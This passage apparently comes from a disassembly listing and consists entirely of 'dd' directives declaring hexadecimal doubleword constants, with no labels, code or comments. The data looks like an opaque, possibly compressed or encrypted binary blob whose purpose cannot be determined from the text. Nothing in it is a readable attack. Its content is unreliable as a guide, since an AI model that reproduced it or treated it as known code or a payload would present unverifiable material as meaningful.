		dd 6BC20030h, 5D486CDh,	0A4007912h, 7F49BCA3h, 6748801h
		dd 5170FF2Ah, 0C800D1B2h, 4E2DA6A8h, 1DADC3A2h,	18C6EA2Bh
		dd 0ABEB21C4h, 4E11A600h, 92200971h, 0F81F0055h, 0DD159D4Fh
		dd 0AC0136CEh, 0E971B239h, 4CD3732h, 5D61188Ah,	10983094h
		dd 9CA8F903h, 6600C8A5h, 457B7CF3h, 742380B4h, 2163604Dh
		dd 52667340h, 0C2CFD3Ah, 5837DB5Ch, 81C941D5h, 3478A899h
		dd 7882CAC8h, 0E7F6645Ah, 0E1EC700Ch, 66040C0Ch, 4D5B7C1Fh
		dd 0BBBFA837h, 2F0A0194h, 83183938h, 7F2BE1D6h,	15C4D0F0h
		dd 0ECD6D8B7h, 64DD8E00h, 28A86F9h, 887A680Eh, 43465DB1h
		dd 7D6E0180h, 0B2C05BEh, 473339Ah, 30590AB8h, 79B7A612h
		dd 0B3448C23h, 0A6E507E1h, 0F089DE13h, 4C33479Fh, 0E8B39130h
		dd 1A32A8CFh, 10BBDDD4h, 0D35C1281h, 4A05CC85h,	0BC75910Ch
		dd 7338E57h, 0E61D09ECh, 6258C01Bh, 5C042489h, 0F91FD731h
		dd 17ADA280h, 0A2B33D65h, 4726F21Ch, 0C0483464h, 6A8B4293h
		dd 0F500B9E2h, 0B5396E10h, 0E6C5C8h, 0B2021843h, 0B1C2D4ECh
		dd 0CD036400h, 0C6996D9Ch, 0DB140F8Bh, 0C37D67ABh, 3CF90E75h
		dd 2E0280C5h, 257C1A83h, 72F7EA00h, 198EA5B2h, 137A1CAEh
		dd 0BCE880DFh, 2217F887h, 50C5BF0Fh, 78AF208Fh,	2A5D9C2h
		dd 0E5C43FF1h, 9AC031B9h, 50036EFh, 0BE2DF0D8h,	7ACFC83h
		dd 2E5A4875h, 2399F363h, 0BF58A3E0h, 80C95338h,	71786234h
		dd 3E26CFB6h, 961E2A0Fh, 0CA190782h, 0A03F80F9h, 6900035Dh
		dd 0BC2D1ADBh, 0FB85843h, 91CF7C80h, 0C01DA387h, 2C012953h
		dd 816550C6h, 0F71A0068h, 64EB153Ch, 0E5002DBCh, 0A539EE56h
		dd 60957176h, 896A18E9h, 9F073E4Bh, 25CE721Ch, 0A29A5981h
		dd 3C01ACE0h, 0BC001DADh, 80F85B13h, 7607CC71h,	5F3E4111h
		dd 223386C1h, 42D7194h,	62A800D2h, 7EF8E5D3h, 41B68506h
		dd 1D8F5F7h, 1B01EBCh, 0DC27D761h, 2907B134h, 0F35DF9E5h
		dd 86717DD0h, 0E931CF2Fh, 4FA3BD80h, 530057A6h,	2630E4DDh
		dd 0F0634BEh, 1CEDD6EBh, 0FC3B28D5h, 18D37F19h,	1FC0432Dh
		dd 7D859906h, 0AA97C05h, 81E208FBh, 0B486060h, 0A8C8824Fh
		dd 2391102h, 3E6C196Ah,	0CD90A0D5h, 1BED070h, 0F0C94AA0h
		dd 82F1760Bh, 0A3B5EB91h, 0A67C917Bh, 0F1238458h, 683799Fh
		dd 18269886h, 38E08480h, 0A162C08Ah, 0FB40DCE6h, 9ABBDCE1h
		dd 0AF91912Dh, 79403FA2h, 7D06B5A3h, 4039A733h,	0AFD00339h
		dd 3274AA6Dh, 0F38E4FE0h, 23D4DC18h, 281683A9h,	0E418712Fh
		dd 61F01E66h, 0B75C430Bh, 0A114F43Ah, 1C84F3h, 7345FC6Ah
		dd 678E0BFDh, 7BA69951h, 11656606h, 727BAE00h, 66123178h
		dd 63A92A07h, 73903CBCh, 770AB401h, 0C8F7BC57h,	56601465h
		dd 0D0B7F910h, 9CE94489h, 40DCD07h, 7BC0927Ah, 34733C2Fh
		dd 0C695C89h, 34C19CDCh, 44A7C301h, 0B4E95A0Bh,	781960E7h
		dd 89E77E7Dh, 17002949h, 740C0678h, 60109976h, 5E7DA165h
		dd 56304BE1h, 613F10B7h, 843950ABh, 0BB2E3A73h,	5F7B1Dh
		dd 3D4E3134h, 0DB7F9D9Ah, 9F76E719h, 405F3861h,	5321B420h
		dd 540242B7h, 0B8D78081h, 0FE198149h, 0AB37E6F3h, 0D06A9AE0h
		dd 0D422AC48h, 95543D55h
		dd 22BCEE10h, 480EFE84h, 3418E414h, 5A834073h, 7D66AF01h
		dd 6501AD47h, 8FE8024h,	0A2E8F589h, 18C9ECBDh, 9F842245h
		dd 41109843h, 9B060063h, 0E0722757h, 8FEB035Bh,	0F55D0D8Ch
		dd 3399F188h, 0C296BE00h, 47A6C184h, 0B36E3867h, 0B91CB23Ah
		dd 0F152401Ah, 0C5EEB87Ch, 19B41004h, 64C2E191h, 9E1C41A6h
		dd 0EDEA824h, 3BE088D8h, 71E87B87h, 512F4D5Dh, 9BCB08Ch
		dd 7A85FAE8h, 8BCF0012h, 0D21B3910h, 0F1266137h, 1A02A896h
		dd 4A761222h, 8687DDD4h, 13DCB7C8h, 180373C9h, 11CFA680h
		dd 9E5909BAh, 7D8033D7h, 3D2E16DAh, 9108B266h, 0DFFB0421h
		dd 82DDB833h, 47206A0Ch, 2489694Fh, 1F603815h, 65160683h
		dd 4D002128h, 0FCB533F5h, 78F692FAh, 2708CC38h,	4D00F821h
		dd 30157133h, 0CE7D78E7h, 22C03819h, 5631131Dh,	0F11CE22h
		dd 1239582Dh, 80032724h, 8AE4CB90h, 0E2BE890Ah,	0F9813C62h
		dd 0DAFCA133h, 74886018h, 483307D1h, 0F4A7235Fh, 0F3B8C295h
		dd 0A87A0721h, 61533460h, 3722D83Dh, 5EA851DDh,	0BA298007h
		dd 29320994h, 0F08E1D86h, 0FB144E40h, 803A9C5h,	0A5805B84h
		dd 0F8971BDFh, 26CC75E4h, 41A4E021h, 323B8A80h,	62CE00E8h
		dd 3C4649DFh, 34114CB5h, 0FBBCD080h, 3BE0529Dh,	701E91F4h
		dd 0F8D58257h, 9A601C34h, 3FE87740h, 77A57C87h,	8E791214h
		dd 33680065h, 4556C95Dh, 0CC66022Ch, 0F05E4B06h, 983A24D1h
		dd 0F78500D3h, 769D7295h, 0B8F2D0E7h, 9EDF20C0h, 0A4C1F77h
		dd 62D8E9B4h, 5A8840D8h, 960CCDD0h, 511C5D6Dh, 0B1FC0Fh
		dd 4D21ABF4h, 6D7973D7h, 10C7658h, 0AE0582BEh, 0EC640D19h
		dd 274607A3h, 2F7BE34Eh, 48F68486h, 0B0BDC8A0h,	39AC80h
		dd 0BC5AAF44h, 0F6D723A0h, 1F01F318h, 0E8022D21h, 16D229CAh
		dd 645C220h, 3FD30E30h,	2800EF8Ah, 0B4D56866h, 820013A4h
		dd 0B31BA90h, 0FFBE8833h, 0F33D6C26h, 0EAFCB788h, 6A4095C4h
		dd 0D60C334Bh, 9C064100h, 540DDC98h, 35F30246h,	2DCFDE9Eh
		dd 6F0540C0h, 69000492h, 4A7CCC3Bh, 1604E235h, 837DF9h
		dd 0CEBC5284h, 0A4181D14h, 43317306h, 73E27BA1h, 92550C25h
		dd 9F08DA26h, 79B221C0h, 0C8CA7E3h, 0DB12235Ah,	1D292919h
		dd 0AB01249Eh, 0B2FDD2E2h, 8AA418h, 2411E2CDh, 17B010Fh
		dd 63888E1Eh, 0C48E250h, 0F9C06165h, 0F0B2AB0Bh, 1C32FA84h
		dd 0C0E1A972h, 0E0571542h, 8505B0CEh, 0C4F26169h, 3D97C800h
		dd 50FA3994h, 3C194816h, 8D8121F7h, 0A6DF0857h,	25436A0h
		dd 0E59833E4h, 10B531E2h, 233ECF8h, 20B17E39h, 0A86095AEh
		dd 0C116E741h, 28143A53h, 48237Ch, 85E477C9h, 4586729Fh
		dd 771E400Eh, 3D017F21h, 0BF3104DAh, 7470763Fh,	0E486515Dh
		dd 8CA3A820h, 0D733BB0Fh, 4C8831E5h, 33E3F787h,	0AA9661AFh
		dd 59D15390h, 0E1C84C4Ah, 780284C1h, 3B4D9BFCh,	95808306h
		dd 0C5483D8Bh, 6358BFDEh, 0A6D2109Ch, 380BDC01h, 4C51CBF9h
		dd 3F5222C4h, 97D003C0h, 0AD16BBh, 194F2611h, 0BC2F9DA4h
		dd 4055718h, 0AF6A1h, 1C73236h,	0C1985EA4h, 7426F301h
		dd 7BE74F80h, 5074B429h, 0B8DD303Bh, 0C1E916A6h, 9DF040C6h
		dd 0CE16BD25h, 7C91B97Ch, 14206296h, 8F73A8h, 87229008h
		dd 476E5336h, 9CD22D28h, 9331FD00h, 66EDF805h, 0A1F467EFh
		dd 0C200C9FCh, 6A673207h, 0FF843C93h, 0FCC14A78h, 0E511B80Fh
		dd 5D0500Dh, 48C01DCAh,	40312B46h, 0E5350086h, 4328A430h
		dd 18B1CB66h, 2075428h,	0FD3B793Dh, 82A05DA0h, 702A4CB8h
		dd 7C219D25h, 3C2E71h, 38BAD935h, 0FA8BA7BBh, 0DC0347A1h
		dd 5D98EC9Bh, 93FC48F1h, 96AF3B28h, 8640C53Ah, 127A196Ah
		dd 0E9AC0D40h, 0D1589CD4h, 7905FC47h, 3FCEC309h, 11701D66h
		dd 8BD83F2h, 0E8620136h, 0ADE23F32h, 6033D174h,	0D8044488h
		dd 0DE47DD9Dh, 0BDFD0C0h, 3F5C0939h, 0ECBD70FFh, 0A2EE8504h
		dd 84D6CD48h, 6BC2320h,	0E1AFE705h, 34657481h, 0A8DF2425h
		dd 9AB9CCB1h, 8104205Ch, 4619D0FBh, 8AA6E500h, 873ABD13h
		dd 51220021h, 98866152h, 2900C5FBh, 14477EC6h, 0EE03739h
		dd 0FA8ED1C9h, 0BC736960h, 0BF607760h, 0FBB0F7EEh, 0BA4B00D5h
		dd 0FF526199h, 58000EA4h, 480A7C5Bh, 2B7FE7h, 0D3D5BDC4h
		dd 7A94CC14h, 8BF9E00h,	0AE77CB79h, 6CB70028h, 0F43B6DBh
		dd 0AB7083F5h, 50EAE100h, 0E53D8411h, 6D101EA8h, 0B28DC038h
		dd 554FA060h, 9B233Eh, 31794CB5h, 0A46821h, 0EDB3F242h
		dd 0DB3E52B0h, 4EC55B00h, 185C212h, 7CB084h, 82588863h
		dd 0F956114Dh, 89053D0Bh, 0C19B00C7h, 0A1B6E7h,	4DC47797h
		dd 0F5D7EBB5h, 0AD023D00h, 30F2D3Eh, 0EE3A0091h, 0D5137633h
		dd 0DE39F98Ch, 2E3BD1h,	0CA0C74C7h, 3A853679h, 64974157h
		dd 0B41C0E24h, 74E50D20h, 6A00A17Fh, 3292BC70h,	2CB76E2Ch
		dd 3D53B0CAh, 4D99000h,	0FF1F105Ch, 0D7EC9600h,	14D84B3Eh
		dd 9C530323h, 4E019E06h, 36CAFF98h, 0D7E91918h,	0AF6278h
		dd 0B2D886F0h, 60D5EAACh, 0C551E400h, 83CDEFA2h, 0ECAD2493h
		dd 2619A48Ch, 498700BEh, 11849874h, 7FCE3914h, 108800E0h
		dd 6B04DF83h, 0D253010Eh, 36EAD8Eh, 9AF8C46Ah, 9EC5CC3Ch
		dd 0EAC05B16h, 24FC1517h, 2BB52437h, 12688748h,	4BB2B010h
		dd 760E5DACh, 608AB34Eh, 0A7FD823Dh, 0CD72008Eh, 7B9394B0h
		dd 1512851Ch, 2200C6CBh, 0A2F7687Eh, 0C2DE430h,	3B7893C5h
		dd 0C000F4E8h, 0F595E784h, 0A3B6DDh, 0D3ECF2A4h, 9DD9D2DFh
		dd 9B2D6D07h, 3C509959h, 0A10B53h, 0B7FA6A49h, 8BD94266h
		dd 4B3ABF00h, 65162FF8h, 0E7E7F95h, 8FE1C0C2h, 5A783E00h
		dd 0C5F847B2h, 1E6A1012h, 0E196CC00h, 38F659EBh, 2EBF4153h
		dd 0CBF050h, 57228644h,	0C76B62F0h, 0EFE4BA00h,	2369C074h
		dd 24B6730Fh, 8078A8BDh, 0AD89E31Dh, 600316Ah, 3C036CEBh
		dd 0E00ADCD2h, 147F2Eh,	1A16A81Bh, 0C2743E4h, 0FF196700h
		dd 0BC11C244h, 5660005Ch, 6D727D64h, 1E015271h,	0AEA5760Ah
		dd 3CC4967Fh, 0D5A01524h, 0DD00C883h, 6FC23208h, 0E4A15E8Ah
		dd 34AAF42Eh, 0F406AB00h, 535D5BC8h, 0D9590073h, 0BA0C6AE1h
		dd 0D100E81Bh, 92FEE975h, 5451F8h, 126C86E3h, 2D10A703h
		dd 80A0EF38h, 9B74FB8h,	0E65A1Eh, 0E0AD362h, 0FEF1CFA9h
		dd 8DA59800h, 9B4319AFh, 6C4648E5h, 0C511E10Ah,	102AD0h
		dd 0AB3B3FB4h, 67A6BE16h, 3A9E6B00h, 2E4DA007h,	986B044h
		dd 99BBE032h, 821D468h,	4B6339h, 0DDD5F7FBh, 12CA3D5Bh
		dd 716D3CEh, 142540BDh,	67778124h, 0F2EACCE3h, 0F0BD3603h
		dd 0A8159523h, 0B7A45Bh, 1BE7CC52h, 9E1D6548h, 37F6441Ch
		dd 0C03F1080h, 4A945Ah,	0DC6368A1h, 44A40CA9h, 0CCE31300h
		dd 195FE03Ah, 0BCCD1E5Dh, 0B7F8C0EBh, 3FF57E5Eh, 65790700h
		dd 0B082E4FAh, 9C290043h, 0EB3D36CDh, 5A797017h, 9EF14916h
		dd 4500C113h, 0CEACEC78h, 796B03ABh, 8B7ED58Fh,	0BE8091DAh
		dd 666A35A3h, 1DE4D059h, 3FC00F40h, 3BC65770h, 0F484025Fh
		dd 10E03556h, 0B83A2440h, 0A64ACE00h, 0FBDF2128h, 0D4EE2E0Eh
		dd 59190082h, 136A33EBh, 17F25500h, 511264AEh, 0AA4A1E9Eh
		dd 92AF803Ah, 0B274158Fh, 90042F0h, 80570A73h, 0CA6D1Dh
		dd 3F389DFDh, 194A0BD8h, 4300877Dh, 0E50531FBh,	0D9039Fh
		dd 0A56E8308h, 0B27B761Ch, 70142F01h, 0B225652h, 1BE864h
		dd 30E1C5Dh, 6A4F32C6h
		dd 5619EA03h, 116E57Ah,	0EE4AFC11h, 508839h, 69211Ch, 0C2B9A02h
		dd 6C53828Ah, 890030EAh, 8B274239h, 48AB7D33h, 7F027C58h
		dd 2E72CD13h, 20001C50h, 6D8CA9A3h, 0A0936E2Bh,	0F80D7490h
		dd 24D9003Ch, 54A9F673h, 0AB004EE0h, 0B022C1EAh, 72A888h
		dd 0D2E83CB2h, 0E51D68E4h, 0E300F0ECh, 8199D68Ch, 3E938B9Eh
		dd 700317Fh, 1AA2DA6Ah,	0E100C266h, 0E911F41Bh,	0FAACD8h
		dd 843F1D10h, 7C2224BBh, 16289500h, 877F46E8h, 1E511E48h
		dd 8CDAC0EDh, 14E36A9Ah, 3E6E731Fh, 8BCF9100h, 720FF13h
		dd 2B1695B5h, 0C056849Bh, 1247B96Dh, 1FCA5505h,	1F87E7A6h
		dd 9BE0206Fh, 98BF13DBh, 0AC8E0004h, 621082FBh,	503AE98Dh
		dd 0E4708059h, 0E8BCF65Ah, 0B53B0245h, 0C94105ADh, 0F57500E0h
		dd 8C009C78h, 0A42BDCE6h, 4CC2B4h, 4DF694ADh, 0FF51E86h
		dd 0F7001CB8h, 6B81A0DCh, 0B0EBBABh, 5C08238Dh,	0DD191380h
		dd 9900E8F6h, 0F2685BEBh, 25F0Ah, 0C5A2DE7Bh, 7882427Ah
		dd 83E8D00h, 1A6E9E16h,	0E0C700CEh, 0CC5D66DDh,	69FCF0BCh
		dd 8EE5FC00h, 0F3D7CBF1h, 152F127Eh, 9A1DE6h, 4408469Bh
		dd 0B0091E89h, 4894AB4Bh, 6D13F8h, 8507E0AFh, 0FF70090Bh
		dd 1D76E600h, 38ACDD25h, 97A500C5h, 0DE315A68h,	177761EAh
		dd 0CB3F0B00h, 5305E039h, 4B56030Ch, 2DAC979Ah,	6085F4A9h
		dd 0CCA8845Ch, 0A504A343h, 2E33254Fh, 5FAE60D0h, 5E9F3972h
		dd 0FCCFBA83h, 48D52D5Bh, 0FE100310h, 0C027851Dh, 0E52F62F3h
		dd 41F416EAh, 1400F85Eh, 52AF29CAh, 0DAA60272h,	0F69D929Ah
		dd 4E182072h, 11F1E6CEh, 10B70003h, 79066A9Bh, 0E9F6317Ah
		dd 0F65B8500h, 0F94F8677h, 445A502Dh, 92C20C72h, 6560A2B5h
		dd 59A84000h, 504A1354h, 38BB1695h, 153BC68h, 412E1CD5h
		dd 56D07A77h, 9DECACh, 0E4C70B47h, 7CB76F67h, 0E2B3107h
		dd 4B5EEEB4h, 0A0046B10h, 14538B0Bh, 0B0FC86E7h, 26CA4C02h
		dd 0E45A78E5h, 80007058h, 88D81498h, 26AB04D7h,	874FFA48h
		dd 0DE5620ECh, 28C55AAAh, 44A4A107h, 7BD80087h,	0FF15F3F1h
		dd 57F4F531h, 943ECD01h, 0A506D09Eh, 3FA069ACh,	0B1E07100h
		dd 0FDA804F3h, 64CE3F00h, 333D9C7Fh, 0F0D050Eh,	0B2E507B5h
		dd 995F0064h, 9DE1F50Ah, 0F4AE23Bh, 46687CB3h, 6220F300h
		dd 0DE3C4078h, 4E801D8h, 0EB707DDh, 0B406418Ch,	0B3E4C581h
		dd 6404E0B7h, 8AE700C2h, 7E3DDD0h, 6713787Ah, 0BB3508h
		dd 303D276Eh, 71016812h, 513FE820h, 7FD04096h, 80B80141h
		dd 0E297E774h, 7D89FDA0h, 3D0379B0h, 592CB64h, 5B7900ABh
		dd 178A151Ch, 4D006F13h, 266B2C81h, 186D7BD5h, 41085063h
		dd 2B3AE09Dh, 52800E4h,	53BC5215h, 49300068h, 1222AC5Bh
		dd 1702E3D7h, 0A7393CFBh, 255BE1EBh, 45B49F5h, 0EAADC49Fh
		dd 0FF76D64h, 3C1719D6h, 0E15AB087h, 9C5DC734h,	5472F08h
		dd 14B879E1h, 3311C21h,	9AD99908h, 2718E038h, 28C74420h
		dd 0B3A54DA0h, 0A72619DCh, 0B452991Bh, 18455009h, 4C0D3C33h
		dd 79D1691Ch, 6A18A1B2h, 71F91CA6h, 618510C2h, 2850B278h
		dd 0A1426010h, 4088822h, 481C3DC0h, 6661F82Ch, 0C9758120h
		dd 72094E65h, 2D211C30h, 42B4A36Eh, 86280C08h, 689A5014h
		dd 80A56464h, 508A77C9h, 0FA6158h, 0E44F2A3Bh, 959117E6h
		dd 0ECB87529h, 8C726280h, 7C303BCAh, 316B3A7Ch,	2FE4FC52h
		dd 3158AC04h, 1A10E86Eh, 53B448D2h, 8F7BA000h, 0AAEC81Fh
		dd 43040431h, 20D7AC62h, 164F6AE3h, 1836CABAh, 833A19DDh
		dd 0F039F866h, 4DD32469h, 4C38340h, 4816637Bh, 0AA006B1Dh
		dd 75AAEE99h, 491C06F3h, 38F4885Dh, 12D9103Fh, 984054FBh
		dd 72DE6286h, 67F10692h, 69FDFA26h, 1268B50Ch, 144489Bh
		dd 0DC62CE4h, 0DCC96654h, 0EDF53D8Ch, 0C4F6D18Fh, 0CA00914Eh
		dd 49310EA6h, 0C02699F2h, 96A8B0F9h, 61E8B1A5h,	5DB693Ch
		dd 4598A46Ch, 8E488C59h, 3C6B519Dh, 0E9614480h,	0B1F0E781h
		dd 28F1B007h, 0D34099BEh, 0E37123Dh, 789D193Ch,	2FF3807Ch
		dd 0D4EC01A5h, 0ADD98567h, 2C5CE4A0h, 3E8CA0FCh, 0E99A6E96h
		dd 212B0520h, 18184C49h, 12894666h, 8E2A3C60h, 0E427F204h
		dd 0BD9C80CAh, 0C43AFECCh, 0F029E067h, 507718BAh, 0A0EC60A0h
		dd 0F45B9D88h, 8338C086h, 4321123Ah, 20363703h,	6640BCC4h
		dd 8EFE131h, 3C738E04h,	0D080686Fh, 0BEE3A1h, 0C0C31749h
		dd 780C2CEDh, 10A0DFFCh, 0B0A083EBh, 50A18D2Ah,	47A4D198h
		dd 12AC1AB0h, 0C6F8400Eh, 0DBB6494Ch, 0FEFC6302h, 41BC789Ah
		dd 0F2128E2Ch, 0B000A8BAh, 9B527483h, 7762E905h, 0E45F6AEDh
		dd 3840E852h, 0E660CA9Dh, 88B8A53Ah, 73646D54h,	263D5942h
		dd 0E4453F01h, 0E0B3A4C0h, 8B4339A8h, 0F289F300h, 2625F931h
		dd 9931EFF2h, 50B5592Dh, 46A484DAh, 0E5D0010Ch,	195FD39h
		dd 7ED25E25h, 0F2E0B2D4h, 0C28F0A2Dh, 0CCD3F9h,	7D31AF5Fh
		dd 0B6048C44h, 0CA24DB3Ch, 5095093h, 49A7361h, 0C62C90C0h
		dd 98416833h, 54EBC420h, 0A860B88Fh, 3B06A84h, 6D31036Eh
		dd 284018CDh, 433137D8h, 0ABED08A5h, 0C8108C4Ah, 7740049Bh
		dd 470972FAh, 13580C90h, 2D09EC92h, 721353Ah, 38490918h
		dd 0D17E0430h, 230A8859h, 904C0A66h, 5568155Fh,	0F18C3360h
		dd 312900D6h, 0B730BC57h, 3F00F1B8h, 87A09EE1h,	0E1A8E4F4h
		dd 264091h, 8F307E7Dh, 3398BC99h, 5F91206Fh, 18142911h
		dd 3C14F63Ch, 8C033CFCh, 0AF5B9A1Bh, 265843C5h,	90A6BA6Bh
		dd 7071C246h, 0F0F950F8h, 3CC90198h, 0F67E4576h, 30808D1Ah
		dd 0B0832083h, 859178F7h, 8C90607Eh, 3E16620Eh,	0F378948h
		dd 0E8368A50h, 4A881080h, 0C2CF2CF2h, 29314071h, 88ACB087h
		dd 0BD447244h, 40881AEBh, 0A9E39C5Ch, 8DF11CE4h, 1CA2EF4h
		dd 1B55F66Fh, 0E5B78F4Ch, 71F4F4A6h, 15385148h,	0F848C6Dh
		dd 0A7C65BDh, 71448CFEh, 684CC4C0h, 0A893549Eh,	1C04981Eh
		dd 2A50AAE9h, 2E3F0098h, 0EBD9B530h, 3D605FABh,	83D86378h
		dd 0A5391F6Dh, 60C86467h, 7E248C51h, 10ED0E30h,	3E83B9E2h
		dd 0C2853FB8h, 5F00178h, 87768Ch, 1B935298h, 3D5CD937h
		dd 0E1861306h, 68B3FC40h, 15579120h, 88955DA7h,	0F1738900h
		dd 45B5C89Ah, 8EFFBD07h, 0B260E40Ch, 18DCE55Bh,	0E9B1015Fh
		dd 7400F058h, 0F1E1731Eh, 1DA8B963h, 40E3160Fh,	0FE797DACh
		dd 4B07AFE9h, 0AB1A0D2Ah, 66C30670h, 0D45F50B7h, 4883002Eh
		dd 0A2FDA20h, 4005EFBh,	0E585A5AEh, 2A7E578Bh, 80FE9Eh
		dd 0EC965D2Ah, 1615BBFFh, 8E712B03h, 0B85065F9h, 0E20E46Bh
		dd 77FEB726h, 433C48C0h, 130600Eh, 83DCB1DAh, 889D00D6h
		dd 49CC04C5h, 0FDF47652h, 4B030890h, 6A47ABBAh,	0E54000A5h
		dd 0A335AF5h, 0DD7A5466h, 10D7C500h, 1699B775h,	0E42658C9h
		dd 4B5BE90Fh, 0B6A9E660h, 0A03AD4B3h, 717884D1h, 0A8C9A53Ah
		dd 6383CD00h, 2CB2583Eh, 80E02226h, 2DFF7E47h, 0C628CEC0h
		dd 0D450C826h, 10C00DF5h, 0D7BB6861h, 5F24004Dh, 7BE396DCh
		dd 0FD13463Ah, 0A700E508h, 0A52714C6h, 0F1F41Fh, 4BDCF799h
		dd 86BB4E46h, 0F2A62306h, 0D150CCFCh, 2FFC0458h, 623B2500h
		dd 0D21F4427h, 0C414003Dh, 0DDD2603h, 0E8E9E2B7h, 0E57C2FD8h
		dd 232E5103h, 11F2C88Fh, 11297728h, 3121D9E1h, 388ABD04h
		dd 4427CB04h, 2D48D3B5h, 25701742h, 9A3C0FFFh, 79106528h
		dd 298EC786h
		dd 0A551D360h, 67E3BBh,	5C1032D0h, 9AB540E8h, 807C353Ah
		dd 2EAA9E4Ch, 1865B6h, 8123AC14h, 69C963E2h, 0B0ED2900h
		dd 0D8306C61h, 0A80400F0h, 3B5D6DE3h, 0A2EA4BCAh, 0F383C100h
		dd 3E8FA973h, 61CE001Bh, 0C0A5D89Fh, 7F73FB6Fh,	0E634DD00h
		dd 0E812BBDEh, 7DE70F9Dh, 0C7801AC1h, 0EC42AEA6h, 4691400h
		dd 4784DB93h, 0AD6B1EB7h, 0C8C7402Eh, 910EEBF5h, 7F782762h
		dd 9C37409Eh, 1CA1E08Ch, 0DA402Ch, 0E7C5D5C4h, 0E901E3BFh
		dd 317ECEE4h, 9B207FADh, 768E0315h, 7CF3550Ah, 0C1339AE8h
		dd 0C2ABA91Fh, 28505D00h, 0A3E39Bh, 0C7969E23h,	433BA7B9h
		dd 0FC945F00h, 101F54B3h, 8C270152h, 0F658E9BCh, 1718D420h
		dd 0CF4CAE00h, 0B444F494h, 9E1B0008h, 1A5A95B7h, 8600BFBEh
		dd 0B59404E8h, 7B391035h, 67C700C5h, 438AA378h,	11002102h
		dd 2C4F53ADh, 0E9BA7DCh, 376CE160h, 3161009Ch, 7487CC8Ah
		dd 0CE936200h, 631D1F06h, 57880E37h, 60E3C825h,	8AF00440h
		dd 81000E9Dh, 0A107B1B7h, 3E2FAC6h, 4F63AB20h, 0CEE8D4DDh
		dd 900087E4h, 0BB5574D6h, 0C3CFC5A6h, 42A50516h, 0D5147998h
		dd 58FED813h, 8825BA00h, 22CB23h, 0CD2BE996h, 0C0575609h
		dd 923B15F2h, 0ECFB8035h, 0DD05EFB6h, 0DFAC006Fh, 0B4FA67F7h
		dd 0B549216Ah, 519300FCh, 5BE65878h, 6F600034h,	96A55455h
		dd 5F3CA728h, 8325078Ah, 5826B373h, 139F0010h, 853DC7EBh
		dd 8000E1Ch, 0B9D02786h, 0F40C57F4h, 0D2CC007Eh, 8A99AB23h
		dd 6ECBAA97h, 0A5280C0h, 480D5E47h, 8C38E491h, 14536C80h
		dd 50B82CC1h, 0B7E97600h, 6E8DE21Ch, 847358h, 2C33870Ch
		dd 0DDE550E3h, 0F4C8A700h, 80A3A083h, 0B81E000Fh, 4F90338Fh
		dd 6D7FCA60h, 0A34401Ch, 0C5A5DDC0h, 0B270AFh, 64E872A7h
		dd 0A0A6C204h, 790B3B7Eh, 89B71B5Ch, 0D2D78039h, 725EE811h
		dd 81780032h, 0E23D80D0h, 8300C287h, 0A6EE8EE1h, 1E5CE7AAh
		dd 757C92h, 0AB4307A4h,	0EAC02451h, 0C9285621h,	25130138h
		dd 5304661Dh, 79A6E4BCh, 0BF72A838h, 8F76004Eh,	0CBD17A17h
		dd 0B91004E3h, 80EA6AB3h, 92BD90D7h, 6C07047Dh,	98D8414h
		dd 42CD9D70h, 0C4C00C5h, 0F834B916h, 7100D07Eh,	5EEBD7CBh
		dd 0C292C3h, 0B2305421h, 5BDAAEB3h, 9DC6B100h, 470803A6h
		dd 0FDAF0004h, 68EE7C7Eh, 0EF0391D0h, 6C5DC36h,	0C62FA0DAh
		dd 0A30A098Eh, 2C987062h, 0B0A0F535h, 0AC1EA11Bh, 57011966h
		dd 63DA68A3h, 8818CD00h, 84448200h, 48D2265Dh, 9E71C71h
		dd 130EC4A6h, 800087D0h, 4012CEFh, 6888DC01h, 2E7628F5h
		dd 0CBF430h, 0E5785CD5h, 170FF445h, 3400AB98h, 6EE1E62Ch
		dd 0D8E748h, 0A7CB3972h, 5ABE287Dh, 3C403700h, 0C1605044h
		dd 0D075FEh, 6814A5FBh,	0EAB88879h, 1A101560h, 0D820D36Fh
		dd 599DF688h, 6A74C82Eh, 0B4705600h, 3A1F61h, 374DD1D8h
		dd 0BF1B12CAh, 0B1ED0200h, 0F28CAF36h, 91CC022Bh, 94444830h
		dd 537A2040h, 3405DA00h, 0DBC24087h, 7F4E0016h,	61DD4B3Bh
		dd 7203E009h, 9DDA675Eh, 38FA60F1h, 2D6D7C8h, 8513BE00h
		dd 91542DB6h, 2C1D0020h, 52D9AC8Ch, 83091125h, 801E47AEh
		dd 137A9DCh, 0FFE672h, 74C5BD04h, 0F6121160h, 3C8850Fh
		dd 1ADF40ADh, 0D50D75h,	0E7305F38h, 0A3B3F261h,	0ABFE7098h
		dd 1852D100h, 6D98E964h, 0D4E800D8h, 45E30A1Ah,	1200B5D0h
		dd 0C7BD1B6h, 0E655726h, 0E035664Eh, 1030F480h,	0FEA1088Fh
		dd 0E7ACC874h, 4C6DC100h, 3CBA1597h, 14D500F8h,	8D38F93Ah
		dd 657E13F1h, 0A4FC6000h, 5B91D1CAh, 1073CCh, 34CF53B4h
		dd 0FA11AE4Eh, 65CEAC00h, 5AA7D071h, 46F005Eh, 731B346Eh
		dd 740038FEh, 43DC467Fh, 0ECD310Ah, 0BFA9C760h,	753EDA80h
		dd 65482C21h, 85410074h, 2ADE0D28h, 6266076Bh, 904B0BE4h
		dd 5F7B659Ch, 8003D75h,	0A913C3B4h, 21815h, 0B7FA5538h
		dd 6AA5CEC6h, 7896CC00h, 0A10B7A8Ah, 59BC0011h,	66C45352h
		dd 2213D833h, 0CF135F60h, 5028C1Fh, 6852C65Ah, 133F6Ch
		dd 0DC8D8824h, 0E8DE4B59h, 0B7294A2Ch, 995BB000h, 702C7Ch
		dd 55BC0430h, 15C33864h, 0B6116618h, 0C96BD2h, 75E15C63h
		dd 49C63151h, 5A770B00h, 0A28473D6h, 10B835CEh,	5BDE02D8h
		dd 0B0607F6Fh, 654947E5h, 21E400A0h, 51B178EEh,	0F44006Bh
		dd 0CCDACD7Eh, 0DCA04E7Fh, 0A903A583h, 2C3CCFE6h, 3465A8F8h
		dd 1AF100B2h, 89B437F9h, 502C3983h, 2C0093BBh, 8E9B540Bh
		dd 32B8000Eh, 73D9814Dh, 0C0A02B49h, 33004FFEh,	4BC83577h
		dd 1EF7E9Eh, 0D111A5B6h, 804DE25Dh, 0B08359B0h,	0EA7155Eh
		dd 5B218234h, 13E1C520h, 0B13E1C2Eh, 901880EAh,	0A9814208h
		dd 0C8EB00F4h, 3BF09E14h, 5A132E31h, 651F9C0Eh,	3F1186C4h
		dd 0C94598C0h, 540F49CFh, 30245E80h, 43039707h,	6F94E448h
